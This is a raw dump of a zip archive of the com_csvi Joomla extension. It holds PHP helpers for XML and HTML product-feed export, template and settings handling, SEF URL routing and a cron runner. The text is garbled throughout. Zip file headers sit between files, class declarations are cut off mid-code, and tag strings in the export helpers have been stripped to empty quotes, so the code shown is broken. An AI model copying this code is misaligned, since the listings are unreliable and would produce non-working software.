return false; else return array($this->_xml_parser, $fp); } } ?> PKs>\)&com_csvi/helpers/file/import/.htaccessnuW+A Order allow,deny Deny from all PKs>\ com_csvi/helpers/file/index.htmlnuW+APKs>\'com_csvi/helpers/file/export/index.htmlnuW+APKs>\,com_csvi/helpers/file/export/html/index.htmlnuW+APKs>\)+com_csvi/helpers/file/export/html/.htaccessnuW+A Order allow,deny Deny from all PKs>\F{E 1com_csvi/helpers/file/export/html/csvimproved.phpnuW+Acontents = ''.chr(10); $this->contents .= ''.chr(10); return $this->contents; } /** * Start the table header * * @return string start table header */ function StartTableHeaderText() { return ''; } /** * End the table header * * @return string end table header */ function EndTableHeaderText() { return ''.chr(10); } /** * Creates the table header * * @return string th field */ public function TableHeaderText($headers) { return ''; } /** * Start the table body header * * @see $contents * @return string table body header */ public function BodyText() { return ''; } /** * Creates the HTML footer * * @see $contents * @return string HTML footer */ function FooterText() { $this->contents = '
      '.$headers.'
      '.chr(10); return $this->contents; } /** * Opens a table row * * @see $contents * @return string tr opening tag */ function NodeStart() { $this->contents = ''.chr(10); return $this->contents; } /** * Closes a table row * * @see $contents * @return string tr closing tag */ function NodeEnd() { $this->contents = ''.chr(10); return $this->contents; } /** * Adds a table td element * * @see $node * @return string td row */ function Element($column_header, $cdata=false) { $this->node = ''; $this->node .= $this->contents; $this->node .= ''; $this->node .= "\n"; return $this->node; } /** * Handles all content and modifies special cases * * @see $contents * @return string formatted table row */ function ContentText($content, $column_header, $fieldname, $cdata=false) { switch ($fieldname) { default: $this->contents = $content; break; } return $this->Element($column_header, $cdata); } } ?> PKs>\+com_csvi/helpers/file/export/xml/index.htmlnuW+APKs>\A, *com_csvi/helpers/file/export/xml/oodle.phpnuW+Acontents = ''.chr(10); $this->contents .= ''.chr(10); return $this->contents; } /** * Creates the XML footer * * @see $contents * @return string XML header */ function FooterText() { $this->contents = ''.chr(10); return $this->contents; } /** * Opens an XML item node * * @see $contents * @return string XML node data */ function NodeStart() { $this->contents = ''.chr(10); return $this->contents; } /** * Closes an XML item node * * @see $contents * @return string XML node data */ function NodeEnd() { $this->contents = ''.chr(10); return $this->contents; } /** * Adds an XML element * * @see $node * @return string XML element */ function Element($column_header, $cdata=false) { $this->node = '<'.$column_header.'>'; if ($cdata) $this->node .= 'node .= $this->contents; if ($cdata) $this->node .= ']]>'; $this->node .= ''; $this->node .= "\n"; return $this->node; } /** * Handles all content and modifies special cases * * @see $contents * @return string formatted XML element */ function ContentText($content, $column_header, $fieldname, $cdata=false) { switch ($fieldname) { case 'manufacturer_name': case 'product_url': $cdata = true; default: $this->contents = $content; break; } if (empty($column_header)) $column_header = $fieldname; return $this->Element($column_header, $cdata); } } ?> PKs>\ 0com_csvi/helpers/file/export/xml/csvimproved.phpnuW+Acontents = ''.chr(10); $this->contents .= ''.chr(10); return $this->contents; } /** * Creates the XML footer * * @see $contents * @return string XML header */ public function FooterText() { $this->contents = ''.chr(10); return $this->contents; } /** * Opens an XML item node * * @see $contents * @return string XML node data */ public function NodeStart() { $this->contents = ''.chr(10); return $this->contents; } /** * Closes an XML item node * * @see $contents * @return string XML node data */ public function NodeEnd() { $this->contents = ''.chr(10); return $this->contents; } /** * Adds an XML element * * @see $node * @return string XML element */ private function Element($column_header, $cdata=false) { $this->node = '<'.$column_header.'>'; if ($cdata) $this->node .= 'node .= $this->contents; if ($cdata) $this->node .= ']]>'; $this->node .= ''; $this->node .= "\n"; return $this->node; } /** * Handles all content and modifies special cases * * @see $contents * @return string formatted XML element */ public function ContentText($content, $column_header, $fieldname, $cdata=false) { switch ($fieldname) { case 'field_default_value': case 'product_attribute': $cdata = true; default: $this->contents = $content; break; } if (empty($column_header)) $column_header = $fieldname; return $this->Element($column_header, $cdata); } } ?> PKs>\&LL+com_csvi/helpers/file/export/xml/google.phpnuW+Acontents = ''.chr(10); $this->contents .= 'contents .= 'xmlns:c="http://base.google.com/cns/1.0">'.chr(10); $this->contents .= ''.chr(10); // Get the XML channel header $settings = JRequest::getVar('settings'); $this->contents .= ''.$settings->get('google_base.gb_title').''.chr(10); $this->contents .= ''.$settings->get('google_base.gb_link').''.chr(10); $this->contents .= ''.$settings->get('google_base.gb_description').''.chr(10); return $this->contents; } /** * Creates the XML footer * * @see $contents * @return string XML header */ function FooterText() { $this->contents = ''.chr(10); $this->contents .= ''.chr(10); return $this->contents; } /** * Opens an XML item node * * @see $contents * @return string XML node data */ function NodeStart() { $this->contents = ''.chr(10); return $this->contents; } /** * Closes an XML item node * * @see $contents * @return string XML node data */ function NodeEnd() { $this->contents = ''.chr(10); return $this->contents; } /** * Adds an XML element * * @see $node * @return string XML element */ function Element($column_header, $cdata=false) { if (stristr($column_header, 'c:')) { $this->node = '<'.$column_header.' type="string">'; } else $this->node = '<'.$column_header.'>'; if ($cdata) $this->node .= 'node .= $this->contents; if ($cdata) $this->node .= ']]>'; $this->node .= ''; $this->node .= "\n"; return $this->node; } /** * Handles all content and modifies special cases * * @see $contents * @return string formatted XML element */ function ContentText($content, $column_header, $fieldname, $cdata=false) { switch ($fieldname) { case 'custom_shipping': switch($column_header) { case 'g:shipping': if (strpos($content, ':')) { list($country, $service, $price) = explode(":", $content); $this->contents = ' '.$country.' '.$service.' '.$price.' '; } else $this->contents = ''; break; } break; case 'custom': switch($column_header) { case 'g:tech_spec_link': $cdate = true; $this->contents = $content; break; case 'g:tax': list($country, $region, $rate, $tax_ship) = explode(":", $content); $this->contents = ' '.$country.' '.$region.' '.$rate.' '.$tax_ship.' '; break; default: $this->contents = $content; break; } break; case 'category_path': $paths = explode("|", $content); $content = ''; foreach ($paths as $id => $path) { $this->contents = str_replace('/', '>', $path); $content .= $this->Element($column_header, $cdata); } return $content; break; case 'manufacturer_name': case 'product_url': $cdata = true; default: $this->contents = $content; break; } if (empty($column_header)) $column_header = $fieldname; return $this->Element($column_header, $cdata); } } ?> PKs>\R^,com_csvi/helpers/file/export/xml/beslist.phpnuW+Acontents = ''.chr(10); $this->contents .= ''.chr(10); return $this->contents; } function FooterText() { $this->contents = ''.chr(10); return $this->contents; } function NodeStart() { $this->contents = ''.chr(10); return $this->contents; } function NodeEnd() { $this->contents = ''.chr(10); return $this->contents; } function Element($column_header, $cdata=false) { $this->node = '<'.$column_header.'>'; if ($cdata) $this->node .= 'node .= $this->contents; if ($cdata) $this->node .= ']]>'; $this->node .= ''; $this->node .= "\n"; return $this->node; } function ContentText($content, $column_header, $fieldname, $cdata=false) { switch ($fieldname) { case 'category_path': $this->CategoryPath($content); break; case 'manufacturer_name': case 'product_url': $cdata = true; default: $this->contents = $content; break; } if (empty($column_header)) $column_header = $fieldname; return $this->Element($column_header, $cdata); } function CategoryPath($category) { $this->contents = str_replace("/", " > ", trim($category)); } } ?> PKs>\M~y+ +com_csvi/helpers/file/export/xml/custom.phpnuW+Ainput; $template = $jinput->get('template', null, null); return $template->get('header', 'layout', '', null, 2); } /** * Creates the XML footer * * @see $contents * @return string XML header */ public function FooterText() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); return $template->get('footer', 'layout', '', null, 2); } /** * Opens an XML item node * * @see $contents * @return string XML node data */ public function NodeStart() { $this->_node(); return; } /** * Closes an XML item node * * @see $contents * @return string XML node data */ public function NodeEnd() { return $this->_node; } /** * A full node template * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _node() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $this->_node = $template->get('body', 'layout', '', null, 2); } /** * Adds an XML element * * @see $node * @return string XML element */ private function _element($content, $fieldname, $cdata=false) { $data = ''; if ($cdata) $data .= ''; $this->_node = str_ireplace('['.$fieldname.']', $data, $this->_node); return; } /** * Handles all content and modifies special cases * * @see $contents * @return string formatted XML element */ public function ContentText($content, $column_header, $fieldname, $cdata=false) { if (empty($column_header)) $column_header = $fieldname; return $this->_element($content, $column_header, $cdata); } } ?> PKs>\)*com_csvi/helpers/file/export/xml/.htaccessnuW+A Order allow,deny Deny from all PKs>\)&com_csvi/helpers/file/export/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_csvi/helpers/file/.htaccessnuW+A Order allow,deny Deny from all PKs>\I‰com_csvi/helpers/settings.phpnuW+AgetQuery(true); $query->select('params'); $query->from('#__csvi_settings'); $query->where('id = 1'); $db->setQuery($query); $settings = $db->loadResult(); $registry = new JRegistry(); $registry->loadString($settings); $this->_params = $registry; } /** * Get a requested value * * @param string $setting the setting to get the value for * @param mixed $default the default value if no $setting is found */ public function get($setting, $default=false) { return $this->_params->get($setting, $default); } } ?>PKs>\com_csvi/helpers/index.htmlnuW+APKs>\xȌcom_csvi/helpers/panel.phpnuW+Ainput; // Check if we are running cron, no need to show the panel if (!$jinput->get('cron', false, 'bool')) { $helper = new CsviHelper(); $buttons = $helper->getButtons(); // Create the top slider $topmenu = '
      '; $topmenu .= $buttons->process; $topmenu .= $buttons->replacements; $topmenu .= $buttons->log; $topmenu .= $buttons->maintenance; $topmenu .= $buttons->availablefields; $topmenu .= '
      '; $topmenu = preg_replace("/(\s\s+)/", ' ', $topmenu); ?> PKs>\)com_csvi/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\fU, , *com_csvi/helpers/com_virtuemart_config.phpnuW+A_vmcfgfile = JPATH_ADMINISTRATOR.'/components/com_virtuemart/virtuemart.cfg'; $this->_parse(); // Load the version information if (file_exists(JPATH_ADMINISTRATOR.'/components/com_virtuemart/version.php')) { require_once JPATH_ADMINISTRATOR.'/components/com_virtuemart/version.php'; $this->_vmcfg['release'] = vmVersion::$RELEASE; } else $this->_vncfg['release'] = null; } /** * Finds a given VirtueMart setting * * @copyright * @author RolandD * @todo * @see * @access * @param string $setting The config value to find * @return mixed value if found | false if not found * @since 4.0 */ public function get($setting) { if (isset($this->_vmcfg[$setting])) { return $this->_vmcfg[$setting]; } else return false; } /** * Parse the VirtueMart configuration * * Here is a PHP 5.3 requirement and work-around * * @copyright * @author RolandD * @todo * @see http://www.php.net/parse_ini_string * @access private * @param * @return * @since 4.0 */ private function _parse() { // Parse the configuration file if (file_exists($this->_vmcfgfile)) { $config = file_get_contents($this->_vmcfgfile); // Do some cleanup $config = str_replace('#', ';', $config); // Check if the command is available if (!function_exists('parse_ini_string') ) { $array = array(); $lines = explode("\n", $config ); foreach( $lines as $line ) { $statement = preg_match( "/^(?!;)(?P[\w+\.\-]+?)\s*=\s*(?P.+?)\s*$/", $line, $match ); if( $statement) { $key = $match[ 'key' ]; $value = $match[ 'value' ]; # Remove quote if( preg_match( "/^\".*\"$/", $value ) || preg_match( "/^'.*'$/", $value ) ) { $value = mb_substr( $value, 1, mb_strlen( $value ) - 2 ); } $array[ $key ] = $value; } } $this->_vmcfg = $array; } else $this->_vmcfg = parse_ini_string($config); } } }PKs>\D(5&&com_csvi/helpers/csvidb.phpnuW+A_database = JFactory::getDbo(); } public function setQuery($sql, $offset = 0, $limit = 0) { $this->_database->setQuery($sql, $offset, $limit); if (!$this->cur = $this->_database->query()) { $this->_error = $this->_database->getErrorMsg(); } } public function getRow() { if (!is_object($this->cur)) $array = mysql_fetch_object($this->cur); else $array = $this->cur->fetch_object(); if ($array) { return $array; } else { if (!is_object($this->cur)) mysql_free_result( $this->cur ); else $this->cur->free_result(); return false; } } public function getErrorMsg() { return $this->_error; } public function getNumRows() { return $this->_database->getNumRows($this->cur); } public function getQuery() { return $this->_database->getQuery(); } }PKs>\0**com_csvi/helpers/template.phpnuW+A_settings = $data; } } /** * Find a value in the template * * @copyright * @author RolandD * @todo JRequest::_cleanVar * @see JFilterInput * @access public * @param string $name the name of the parameter to find * @param string $group the group in which to find the parameter * @param string $default the default value to use when not found * @param string $filter the filter to apply * @param int $mask Filter bit mask. 1=no trim: If this flag is cleared and the * input is a string, the string will have leading and trailing whitespace * trimmed. 2=allow_raw: If set, no more filtering is performed, higher bits * are ignored. 4=allow_html: HTML is allowed, but passed through a safe * HTML filter first. If set, no more filtering is performed. If no bits * other than the 1 bit is set, a strict filter is applied. * @param bool $special if the field should require special processing * @return mixed the value found * @since 3.0 */ public function get($name, $group='', $default = '', $filter=null, $mask=0, $special=true) { // Set the initial value $value = ''; // Find the value if (empty($group)) { if (array_key_exists($name, $this->_settings)) $value = $this->_settings[$name]; } else { if (array_key_exists($group, $this->_settings)) { if (array_key_exists($name, $this->_settings[$group])) { $value = $this->_settings[$group][$name]; } } } // Return the found value if (is_array($value) && empty($value)) $value = $default; else if ('' === $value) $value = $default; // Special processing if ($special) { switch ($name) { case 'language': case 'target_language': $value = strtolower(str_replace('-', '_', $value)); break; case 'field_delimiter': if (strtolower($value) == 't') $value = "\t"; break; } } // Clean up and return if (is_null($filter) && $mask == 0) return $value; else return JRequest::_cleanVar($value, $mask, $filter); } /** * Set a value in the template * * @copyright * @author RolandD * @todo * @see * @access public * @param string $name the name of the parameter to find * @param string $group the group in which to find the parameter * @param string $value the value to set * @return void * @since 3.0 */ public function set($name, $group='', $value = '') { // Set the value if (empty($group)) { $this->_settings[$name] = $value; } else { $this->_settings[$group][$name] = $value; } } /** * Load a template * * @copyright * @author RolandD * @todo * @see * @access public * @param int $id the ID of the template to load * @return * @since 4.0 */ public function load($id) { if ($id > 0) { // Load the data $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('settings').', '.$db->quoteName('name')); $query->from($db->quoteName('#__csvi_template_settings')); $query->where($db->quoteName('id').' = '.$db->quote($id)); $db->setQuery($query); $data = $db->loadObject(); // Fill the settings $settings = json_decode($data->settings, true); if (!is_array($settings)) $settings = array(); $this->_settings = $settings; // Set the name if (!empty($data)) $this->setName($data->name); } } /** * Set the template name * * @copyright * @author RolandD * @todo * @see * @access public * @param string $name the name of the template * @return * @since 4.0 */ public function setName($name) { // Set the template name $this->_name = $name; } /** * Get the name of the template * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function getName() { return $this->_name; } /** * Return all settings * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function getSettings() { return $this->_settings; } } ?> PKs>\#com_csvi/helpers/com_akeebasubs.phpnuW+Ainput; $this->_csvidata = $jinput->get('csvi_data', null, null); } /** * Get a user ID * * @copyright * @author RolandD * @todo * @see * @access public * @param string $username the username to find the ID for * @return int the ID of the user * @since 4.0 */ public function getUser($username) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('id')); $query->from($db->quoteName('#__users')); $query->where($db->quoteName('username').' = '.$db->quote($username)); $db->setQuery($query); return $db->loadResult(); } /** * Get a subscription ID * * @copyright * @author RolandD * @todo * @see * @access public * @param string $subscription_title the name(s) of the subscription * @return * @since 4.0 */ public function getSubscription($subscription_title) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('akeebasubs_level_id')); $query->from($db->quoteName('#__akeebasubs_levels')); $titles = explode(',', $subscription_title); $newtitles = array(); foreach ($titles as $title) { $newtitles[] = $db->quote(trim($title)); } if (!empty($newtitles)) { $query->where($db->quoteName('title').' IN ('.implode(',', $newtitles).')'); $db->setQuery($query); $ids = $db->loadColumn(); if (!empty($ids)) { return implode(',', $ids); } } else return ''; } /** * Get the list of order users * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of objects * @since 4.0 */ public function getOrderUser() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $query = $db->getQuery(true); $filter = $jinput->get('filter'); $query->select($db->quoteName('user_id')); $query->select($db->quoteName('name', 'user_name')); $query->from($db->quoteName('#__akeebasubs_subscriptions', 's')); $query->leftJoin($db->quoteName('#__users', 'u').' ON '.$db->quoteName('s').'.'.$db->quoteName('user_id').' = '.$db->quoteName('u').'.'.$db->quoteName('id')); $query->where($db->quoteName('u').'.'.$db->quoteName('name').' LIKE '.$db->quote('%'.$filter.'%')); $query->order($db->quoteName('name')); $query->group($db->quoteName('user_id')); $db->setQuery($query, 0, 10); $users = $db->loadObjectList(); if ($users) return $users; else return array(); } /** * Get the list of order products * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array of objects * @since 4.0 */ public function getOrderProduct() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $query = $db->getQuery(true); $filter = $jinput->get('filter'); $query->select($db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id', 'product_sku')); $query->select($db->quoteName('title', 'product_name')); $query->from($db->quoteName('#__akeebasubs_subscriptions', 's')); $query->leftJoin($db->quoteName('#__akeebasubs_levels', 'l').' ON '.$db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id').' = '.$db->quoteName('l').'.'.$db->quoteName('akeebasubs_level_id')); $query->where($db->quoteName('l').'.'.$db->quoteName('title').' LIKE '.$db->quote('%'.$filter.'%')); $query->order($db->quoteName('title')); $query->group($db->quoteName('s').'.'.$db->quoteName('akeebasubs_level_id')); $db->setQuery($query, 0, 10); $products = $db->loadObjectList(); if ($products) return $products; else return array(); } } ?>PKs>\-,-,com_csvi/helpers/cron.phpnuW+Ainitialise(); // Load the language file $language = JFactory::getLanguage(); $language->load('com_csvi', JPATH_BASE.'/administrator'); // Load the plugin system JPluginHelper::importPlugin('system'); // trigger the onAfterInitialise events $mainframe->triggerEvent('onAfterInitialise'); // Run the cron job $csvicron->runCron(); /** * Handles all cron requests * * @package CSVI */ class CsviCron { /** @var $basepath string the base of the installation */ var $basepath = ''; /** @var $_variables array of user set variables to override template settins */ var $_variables = ''; /** * Initialise the cron * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.5 */ public function __construct() { // Merge the default translation with the current translation $jlang = JFactory::getLanguage(); $jlang->load('com_csvi', JPATH_ADMINISTRATOR, 'en-GB', true); $jlang->load('com_csvi', JPATH_ADMINISTRATOR, $jlang->getDefault(), true); $jlang->load('com_csvi', JPATH_ADMINISTRATOR, null, true); // Get the domain name require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/settings.php'); $settings = new CsviSettings(); $domainname = $settings->get('site.hostname', 'www.example.com'); // Check for the trailing slash at the domain name if (substr($domainname, -1) == '/') $domainname = substr($domainname, 0, -1); // Load the posted variables $this->CollectVariables(); // Fill the server global with necessary information $_SERVER['REQUEST_METHOD'] = 'post'; $_SERVER['HTTP_HOST'] = $domainname; $_SERVER['REMOTE_ADDR'] = gethostbyname('localhost'); $_SERVER['SERVER_PORT'] = ''; $_SERVER['HTTP_USER_AGENT'] = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko/20100101 Firefox/4.0'; $_SERVER['REQUEST_URI'] = '/administrator/index.php'; $_SERVER['QUERY_STRING'] = ''; $_SERVER['PHP_SELF'] = '/index.php'; $_SERVER['SCRIPT_NAME'] = '/index.php'; if (isset($this->_variables['adminpw'])) { $_SERVER['QUERY_STRING'] = $this->_variables['adminpw']; $_SERVER['REQUEST_URI'] .= '?'.$this->_variables['adminpw']; } } /** * Initialise some settings */ public function runCron() { // Buffer all output to prevent conflicts with external software ob_start(); // Start the clock $starttime = time(); $db = JFactory::getDbo(); // First check if we deal with a valid user if ($this->Login()) { // Set some global values $jinput = JFactory::getApplication()->input; $jfilter = new JFilterInput(); // Get the parameters require_once(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/settings.php'); $settings = new CsviSettings(); // Check if we are running cron mode and set some necessary variables $_SERVER['SERVER_ADDR'] = $_SERVER['HTTP_HOST'] = $settings->get('site.hostname'); $_SERVER['SCRIPT_NAME'] = '/index.php'; $_SERVER['REQUEST_URI'] = '/'; $_SERVER['PHP_SELF'] = '/index.php'; // Get the task to do if (isset($this->_variables['task'])) $task = $jfilter->clean($this->_variables['task']); else $task = ''; // Perform the requested task switch ($task) { case 'maintenance': $jinput->set('task', 'maintenance.'.$this->_variables['operation']); // Fire CSVI VirtueMart $this->ExecuteJob(); break; default: // Second check if any template is set to process if (array_key_exists('template_id', $this->_variables)) $template_id = $jfilter->clean($this->_variables['template_id'], 'int'); else $template_id = false; if (array_key_exists('template_name', $this->_variables)) $template_name = $jfilter->clean($this->_variables['template_name']); else $template_name = false; if ($template_id || $template_name) { // There is a template_id or template name, get some details to streamline processing $where = empty($template_id) ? 'name='.$db->q($template_name) : 'id='.$template_id; // There is a template name, get some details to streamline processing $q = "SELECT id AS template_id, name AS template_name, settings FROM #__csvi_template_settings WHERE ".$where; $db->setQuery($q); $row = $db->loadObject(); if (is_object($row)) { echo JText::sprintf('COM_CSVI_PROCESSING_STARTED', date('jS F Y, g:i a'))."\n"; echo JText::sprintf('COM_CSVI_TEMPLATE', $row->template_name)."\n"; // Set the template ID $jinput->set('select_template', $row->template_id); $jinput->set('template_id', $row->template_id); $jinput->set('template_name', $row->template_name); // Set the settings if (array_key_exists('jform', $this->_variables)) $settings = CsviHelper::arrayExtend(json_decode($row->settings, true), $this->_variables['jform']); else $settings = json_decode($row->settings, true); // Set some export settings if ($settings['options']['action'] == 'export') { // Export settings $jinput->set('task', 'exportfile.process'); // Set export to if ($settings['general']['exportto'] == 'todownload') $settings['general']['exportto'] = 'tofile'; } // Set some import settings else if ($settings['options']['action'] == 'import') { // Import settings $jinput->set('task', 'importfile.doimport'); // Turn off preview $settings['general']['show_preview'] = 0; } // Set a view so VirtueMart is happy $jinput->set('view', 'products'); // Post the settings $jinput->set('jform', $settings, 'post'); // Fire CSVI $this->ExecuteJob(); } else { if ($template_name) echo JText::sprintf('COM_CSVI_NO_TEMPLATE_FOUND', $template_name)."\n"; else if ($template_id) echo JText::sprintf('COM_CSVI_NO_TEMPLATE_FOUND', $template_id)."\n"; } } else echo JText::_('COM_CSVI_NO_TEMPLATE_SPECIFIED')."\n"; break; } } else { $error = JError::getError(); echo $error->message."\n"; } echo sprintf(JText::_('COM_CSVI_PROCESSING_FINISHED'), date('jS F Y, g:i a'))."\n"; $duration = time() - $starttime; if ($duration < 60) echo sprintf(JText::_('COM_CSVI_PROCESSING_SECONDS'), $duration)."\n"; else echo sprintf(JText::_('COM_CSVI_PROCESSING_MINUTES'), (number_format($duration/60, 2)))."\n"; // Done, lets log the user out $this->UserLogout(); // Display any generated messages $messages = ob_get_contents(); @ob_end_clean(); echo $messages; } /** * Collect the variables * * Running from the command line, the variables are stored in $argc and $argv. * Here we put them in $_REQUEST so that they are available to the script */ private function CollectVariables() { $arguments = false; // Take the argument values and put them in $_REQUEST if (isset($_SERVER['argv'])) { foreach ($_SERVER['argv'] as $key => $argument) { if ($key > 0) { list($name, $value) = explode("=", $argument); if (strpos($value, '|')) $value = explode('|', $value); if (strpos($name, ':')) { $names = explode(':', $name); if (count($names) == 3 && $names[0] == 'jform') { $this->_variables['jform'][$names[1]][$names[2]] = $value; } } else $this->_variables[$name] = $value; } } $arguments = true; } // Get the _GET if (!empty($_GET)) { $this->_storeVariables($_GET); $arguments = true; } // Get the _POST if (!empty($_POST)) { $this->_storeVariables($_POST); $arguments = true; } if (!$arguments) echo JText::_('COM_CSVI_NO_ARGUMENTS')."\n"; } /** * Store the variables * * @copyright * @author RolandD * @todo * @see * @access private * @param $vars array the variables to store * @return * @since 3.2 */ private function _storeVariables($vars) { foreach ($vars as $name => $value) { if (!empty($value)) { if (strpos($value, '|')) $value = explode('|', $value); if (substr($name, 0, 5) == 'jform') { if (strpos($name, ':')) $names = explode(':', $name); else $names = explode('_', $name); if (count($names) == 3 && $names[0] == 'jform') { $this->_variables['jform'][$names[1]][$names[2]] = $value; } } else $this->_variables[$name] = $value; } } } /** * Check if the user exists */ private function Login() { $mainframe = JFactory::getApplication(); $jfilter = new JFilterInput(); $credentials['username'] = $jfilter->clean($this->_variables['username'], 'username'); $credentials['password'] = $jfilter->clean($this->_variables['passwd']); $result = $mainframe->login($credentials, array('entry_url' => '')); if (!JError::isError($result)) { return true; } else return false; } /** * Process the requested job */ function ExecuteJob() { $jinput = JFactory::getApplication()->input; $jinput->set('cron', true); require(JPATH_COMPONENT_ADMINISTRATOR.'/csvi.php'); } /** * Log the user out */ private function UserLogout() { global $mainframe; ob_start(); $error = $mainframe->logout(); if(JError::isError($error)) { ob_end_clean(); echo JText::_('COM_CSVI_PROBLEM_LOGOUT_USER')."\n"; } else { ob_end_clean(); echo JText::_('COM_CSVI_USER_LOGGED_OUT')."\n"; } } } ?>PKs>\wwcom_csvi/helpers/csvisef.phpnuW+A_domainname = CsviHelper::getDomainName(); } /** * Create a SEF URL * * @copyright * @author RolandD * @todo Change exportsef to template * @see * @access private * @param string $url The url to change to SEF * @return string the new url * @since 3.0 */ public function getSiteRoute($url) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); $parsed_url = null; // Check which SEF component is installed if (empty($this->_sef)) { if ($template->get('exportsef', 'product', false)) { // Joomla SEF if (JPluginHelper::isEnabled('system', 'sef')) $this->_sef = 'joomla'; // sh404SEF check if (JPluginHelper::isEnabled('system', 'shsef')) $this->_sef = 'sh404sef'; // JoomSEF check if (JPluginHelper::isEnabled('system', 'joomsef')) $this->_sef = 'joomsef'; // AceSEF check if (JPluginHelper::isEnabled('system', 'acesef')) $this->_sef = 'acesef'; // There is no SEF enabled if (empty($this->_sef)) $this->_sef = 'nosef'; } else $this->_sef = 'nosef'; } switch ($this->_sef) { case 'sh404sef': $parsed_url = $this->_sh404Sef($url); break; case 'joomsef': $parsed_url = $this->_joomSef($url); break; case 'joomla': $parsed_url = $this->_joomlaSef($url); break; case 'acesef': $parsed_url = $this->_aceSef($url); break; case 'nosef': default: // No SEF router found, returning regular URL return $this->_domainname.JRoute::_($url); break; } // Clean up the parsed SEF URL if (!empty($parsed_url)) { // Clean up the parsed SEF URL if (substr($parsed_url, 4) == 'http') return $parsed_url; else { // Check for administrator in the domain $adminpos = strpos($parsed_url,'/administrator/'); if ($adminpos !== false) $parsed_url = substr($parsed_url,$adminpos+15); // Check if we have a domain name in the URL if (!empty($this->_domainname)) { $check_domain = str_replace('https', 'http', $this->_domainname); $domain = strpos($parsed_url, $check_domain); if ($domain === false) { if (substr($parsed_url, 0, 1) == '/') $parsed_url = $this->_domainname.$parsed_url; else $parsed_url = $this->_domainname.'/'.$parsed_url; } return $parsed_url; } else { $csvilog->addDebug(JText::_('COM_CSVI_NO_DOMAINNAME_SET')); return $url; } } } } /** * Create sh404SEF URLs * * @copyright * @author RolandD * @todo * @see http://dev.anything-digital.com/sh404SEF/ * @see getSiteRoute() * @access private * @param string $url the original URL to turn into SEF * @return string SEF URL * @since 3.0 */ private function _sh404Sef($url) { // Load sh404SEF require_once(JPATH_ADMINISTRATOR.'/components/com_sh404sef/sh404sef.class.php'); $sefConfig = shRouter::shGetConfig(); // Turn off any security and flooding setting $sefConfig->shSecEnableSecurity = 0; $sefConfig->shSecActivateAntiFlood = 0; // Require some necessary files require_once(JPATH_ROOT.'/components/com_sh404sef/shCache.php'); require_once(JPATH_ROOT.'/components/com_sh404sef/shSec.php'); // Start the sh404sef Router if (class_exists('shRouter')) $shRouter = new shRouter(); else return $this->_domainname.'/'.$url; // Force the domain name $GLOBALS['shConfigLiveSite'] = $this->_domainname; // Initialize sh404sef include_once(JPATH_ROOT.'/components/com_sh404sef/shInit.php'); // Build the SEF URL $uri = $shRouter->build($url); $sefurl = $uri->toString(); if (strpos($sefurl, 'http://') === false) { $sefurl = str_ireplace('http:/', 'http://', $sefurl); } return $sefurl; } /** * Create JoomSEF URLs * * @copyright * @author RolandD * @todo * @see http://www.artio.net/joomla-extensions/joomsef * @see _getSiteRoute() * @access private * @param string $url the original URL to turn into SEF * @return string SEF URL * @since 3.0 */ private function _joomSef($url) { // Include Joomla files jimport('joomla.application.router'); require_once(JPATH_ROOT.'/includes/application.php'); // Include JoomSEF require_once(JPATH_ROOT.'/components/com_sef/sef.router.php'); $shRouter = new JRouterJoomSef(); // Build the SEF URL $uri = $shRouter->build($url); return $uri->toString(); } /** * Create Joomla SEF URLs * * @copyright * @author RolandD * @todo * @see http://www.joomla.org/ * @see _getSiteRoute() * @access private * @param string $url the original URL to turn into SEF * @return string SEF URL * @since 3.0 */ private function _joomlaSef($url) { // Load Joomla core files for SEF jimport('joomla.application.router'); require_once(JPATH_ROOT.'/includes/application.php'); require_once(JPATH_ROOT.'/includes/router.php'); $router = new JRouterSite(array('mode' => 1)); $uri = $router->build($url); return $uri->toString(); } /** * Create aceSEF URLs * * @copyright * @author RolandD * @todo * @see http://www.joomace.net/joomla-extensions/acesef * @see _getSiteRoute() * @access private * @param string $url the original URL to turn into SEF * @return string SEF URL * @since 3.0 */ private function _aceSef($url) { jimport('joomla.application.router'); require_once(JPATH_ROOT.'/includes/application.php'); require_once(JPATH_ADMINISTRATOR.'/components/com_acesef/library/router.php'); require_once(JPATH_ADMINISTRATOR.'/components/com_acesef/library/loader.php'); $router = new JRouterAcesef(); $uri = $router->build($url); return $uri->toString(); } } ?> PKs>\c(,(,com_csvi/helpers/csvi.phpnuW+A$v) { if( is_array($v) ) { if( !isset($a[$k]) ) { $a[$k] = $v; } else { $a[$k] = self::arrayExtend($a[$k], $v); } } else { $a[$k] = $v; } } return $a; } /** * Recursive array diff * * @copyright * @author Amund, RolandD * @todo * @see http://www.php.net/manual/en/function.array-merge.php#91756 * @access private * @param array $aArray1 The array to update * @param array $aArray2 The array with new values * @return array with all new values * @since 3.0 */ public function recurseArrayDiff($aArray1, $aArray2) { $aReturn = array(); if (is_array($aArray1) && is_array($aArray2)) { foreach ($aArray1 as $mKey => $mValue) { if (array_key_exists($mKey, $aArray2)) { if (is_array($mValue)) { $aRecursiveDiff = self::recurseArrayDiff($mValue, $aArray2[$mKey]); if (count($aRecursiveDiff)) { $aReturn[$mKey] = $aRecursiveDiff; } } else { if ($mValue != $aArray2[$mKey]) $aReturn[$mKey] = $mValue; } } else { $aReturn[$mKey] = $mValue; } } } return $aReturn; } 